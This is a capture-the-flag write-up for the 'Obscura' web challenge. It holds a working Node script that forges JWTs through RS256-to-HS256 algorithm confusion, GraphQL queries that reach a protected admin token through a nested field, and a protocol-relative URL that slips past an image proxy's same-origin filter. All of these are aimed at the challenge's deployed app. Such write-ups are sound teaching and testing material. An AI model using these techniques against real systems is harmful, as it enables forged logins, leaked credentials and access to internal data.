Writeups
Next

Obscura Netanix CTF

Full Obscura writeup covering JWT algorithm confusion, nested GraphQL authorization bypass, and protocol-relative URL behavior in an image proxy.

Challenge

Obscura challenge page on Netanix CTF

The challenge provided a deployed web application named Obscura. The description mentioned a public marketing site, a JWKS endpoint, a small GraphQL API, and an image proxy.

Target:

Target
https://obscura-five-chi.vercel.app/

Goal:

Goal
Recover the flag from an environment variable on the production deployment.

Recon

Important clarification: these routes were not all listed in the frontend source. They were found from a mix of challenge wording, standard web conventions, and confirmation by HTTP responses.

RouteHow it was foundHow it was confirmed
/.well-known/jwks.jsonThe challenge mentioned a JWKS endpoint. /.well-known/jwks.json is the standard JWKS location.Returned a valid JWKS JSON document.
/api/graphqlThe challenge mentioned a small GraphQL API. In Next.js apps, /api/graphql is a common route.Accepted POST GraphQL requests and introspection worked.
/api/proxyThe challenge mentioned an image proxy. I tested common names like /api/proxy.Returned {"error":"url required"} without a url parameter, confirming the route.
/api/internal/secretThis was inferred from the goal and route naming: flag was in an env var, and internal/secret-style routes are common in CTF web apps.Returned 403 {"error":"forbidden"} instead of 404, and Vercel returned x-matched-path: /api/internal/secret.

So the route list is not "from the code"; it is "confirmed during recon". The challenge text gave the component names, then each route was validated by behavior.

I first checked whether the internal route existed:

Check internal route
curl -i 'https://obscura-five-chi.vercel.app/api/internal/secret'

Response:

Response
{"error":"forbidden"}

This confirmed that /api/internal/secret was real but protected.

Direct request to internal secret route returns forbidden


GraphQL Introspection

The GraphQL endpoint was available at:

GraphQL Endpoint
/api/graphql

I used introspection to list query fields:

List GraphQL query fields
curl -sS 'https://obscura-five-chi.vercel.app/api/graphql' \
  -H 'Content-Type: application/json' \
  --data '{"query":"{ __schema { queryType { fields { name } } } }"}'

Important query fields:

Query Fields
viewer
latestUploads
getComment(id: ID!)
listComments(uploadId: ID!)
internalAuditEntry(id: ID!)
healthcheck

Then I inspected the available types:

Inspect GraphQL types
curl -sS 'https://obscura-five-chi.vercel.app/api/graphql' \
  -H 'Content-Type: application/json' \
  --data '{"query":"{ __schema { types { name fields { name type { kind name ofType { kind name } } } } } }"}'

The interesting types were:

Important GraphQL Types
type Comment {
  id: ID!
  body: String!
  author: User
  upload: Upload
  auditEntry: AuditEntry
}

type AuditEntry {
  id: ID!
  action: String!
  target: String!
  notes: String
  performedBy: User
  apiToken: String
}

The key field was:

Sensitive Field
AuditEntry.apiToken

GraphQL introspection showing Query fields and AuditEntry type


Step 1: JWT Algorithm Confusion

The challenge exposed a public JWKS:

Save JWKS
curl -sS 'https://obscura-five-chi.vercel.app/.well-known/jwks.json' \
  -o /tmp/obscura_jwks.json

View it:

View JWKS
cat /tmp/obscura_jwks.json

The key was an RSA key intended for RS256. The bug was that the backend also accepted HS256. That means the RSA public key could be converted to PEM and used as an HMAC secret.

Public JWKS endpoint exposing RSA key

Create forge-obscura-token.js:

forge-obscura-token.js
const fs = require("fs");
const crypto = require("crypto");

const jwks = JSON.parse(fs.readFileSync("/tmp/obscura_jwks.json", "utf8"));
const jwk = jwks.keys[0];

const pem = crypto
  .createPublicKey({ key: jwk, format: "jwk" })
  .export({ type: "spki", format: "pem" });

function b64(obj) {
  return Buffer.from(JSON.stringify(obj)).toString("base64url");
}

const now = Math.floor(Date.now() / 1000);

const header = b64({
  alg: "HS256",
  typ: "JWT",
  kid: "obscura-v1"
});

const payload = b64({
  sub: "u_2",
  role: "member",
  iat: now,
  exp: now + 3600
});

const signingInput = header + "." + payload;
const sig = crypto
  .createHmac("sha256", pem)
  .update(signingInput)
  .digest("base64url");

console.log(signingInput + "." + sig);

Important note:

Use the PEM generated by Node directly. Manually copying the PEM can break the signature if formatting or the final newline differs.

JWK to PEM

Generated forged HS256 JWT using public RSA key as HMAC secret

JWT.io

Generated forged HS256 JWT using public RSA key as HMAC secret


Step 2: Verify the Forged JWT

I verified the token with the viewer query:

Verify forged token
curl -sS 'https://obscura-five-chi.vercel.app/api/graphql' \
  -H "Authorization: Bearer $JWT" \
  -H 'Content-Type: application/json' \
  --data '{"query":"{ viewer { id handle role } }"}'

Expected result:

Viewer result
{
  "data": {
    "viewer": {
      "id": "u_2",
      "handle": "gallerist",
      "role": "ADMIN"
    }
  }
}

This confirmed that the forged JWT was accepted.

Forged JWT authenticates as gallerist admin user


Step 3: Find the Nested GraphQL Authorization Bypass

The top-level audit query was protected:

Top-level audit query
curl -sS 'https://obscura-five-chi.vercel.app/api/graphql' \
  -H "Authorization: Bearer $JWT" \
  -H 'Content-Type: application/json' \
  --data '{"query":"{ internalAuditEntry(id:\"ae_1\") { id action target apiToken } }"}'

Response:

Denied audit query
{
  "errors": [
    {
      "message": "admin only"
    }
  ],
  "data": {
    "internalAuditEntry": null
  }
}

Top-level internalAuditEntry query is denied

The bypass was through the nested Comment.auditEntry field. The direct resolver was protected, but the same object was exposed when reached through comments.

Request:

Leak nested AuditEntry
curl -sS 'https://obscura-five-chi.vercel.app/api/graphql' \
  -H "Authorization: Bearer $JWT" \
  -H 'Content-Type: application/json' \
  --data '{"query":"{ listComments(uploadId:\"up_1\") { id body auditEntry { id action target notes apiToken performedBy { id handle role } } } }"}'

Important result:

Leaked audit entry
{
  "id": "ae_1",
  "action": "upload.delete",
  "target": "up_99",
  "notes": "stale, no traffic",
  "apiToken": "ob-adm-tk_4f8a72b1e6c34d09a5e2916834cf0d1c",
  "performedBy": {
    "id": "u_2",
    "handle": "gallerist",
    "role": "ADMIN"
  }
}

Leaked admin API token:

Admin API Token
ob-adm-tk_4f8a72b1e6c34d09a5e2916834cf0d1c

Nested Comment.auditEntry leaks the admin API token


Step 4: Analyze the Proxy

The proxy endpoint was:

Proxy Endpoint
/api/proxy?url=<target>

A normal external fetch worked:

Proxy external request
curl -i 'https://obscura-five-chi.vercel.app/api/proxy?url=https%3A%2F%2Fhttpbin.org%2Fheaders'

Image proxy fetching an external URL

A normal same-origin URL was blocked:

Normal same-origin URL blocked
curl -i 'https://obscura-five-chi.vercel.app/api/proxy?url=https%3A%2F%2Fobscura-five-chi.vercel.app%2Fapi%2Finternal%2Fsecret'

Proxy blocks normal same-origin URL

However, protocol-relative URLs were handled differently:

Protocol-relative URL
//obscura-five-chi.vercel.app/api/internal/secret

Encoded:

Encoded URL
%2F%2Fobscura-five-chi.vercel.app%2Fapi%2Finternal%2Fsecret

Request:

Protocol-relative proxy request
curl -i 'https://obscura-five-chi.vercel.app/api/proxy?url=%2F%2Fobscura-five-chi.vercel.app%2Fapi%2Finternal%2Fsecret'

Response:

Response
{"error":"unauthorized"}

This response was important. The direct request returned forbidden, but the protocol-relative proxy request returned unauthorized. That showed the proxy reached the internal route through a different path.

Protocol-relative URL reaches secret route through proxy and returns unauthorized


Step 5: Retrieve the Flag

The final step was to combine the leaked admin API token with the protocol-relative proxy request.

Final request:

Final flag request
curl -sS \
  -H 'Authorization: Bearer ob-adm-tk_4f8a72b1e6c34d09a5e2916834cf0d1c' \
  'https://obscura-five-chi.vercel.app/api/proxy?url=%2F%2Fobscura-five-chi.vercel.app%2Fapi%2Finternal%2Fsecret'

Response:

Flag response
{
  "ok": true,
  "flag": "NxCTF{rs256_to_hs256_+_nested_idor_+_axios_proto_relative}"
}

Final proxy request returns the Obscura flag


Why It Worked

There were three separate bugs.

First, the JWT verifier accepted HS256 even though the published JWKS key was an RSA key intended for RS256. This made it possible to sign a valid token with the public key as an HMAC secret.

Second, GraphQL authorization was inconsistent. The top-level internalAuditEntry query was protected, but the nested Comment.auditEntry field exposed the same sensitive object and included apiToken.

Third, the proxy blocked standard same-origin URLs but did not correctly reject protocol-relative same-origin URLs. This allowed the internal route to be reached through /api/proxy.

Together, these bugs exposed the internal secret endpoint and returned the environment variable containing the flag.

How is this guide?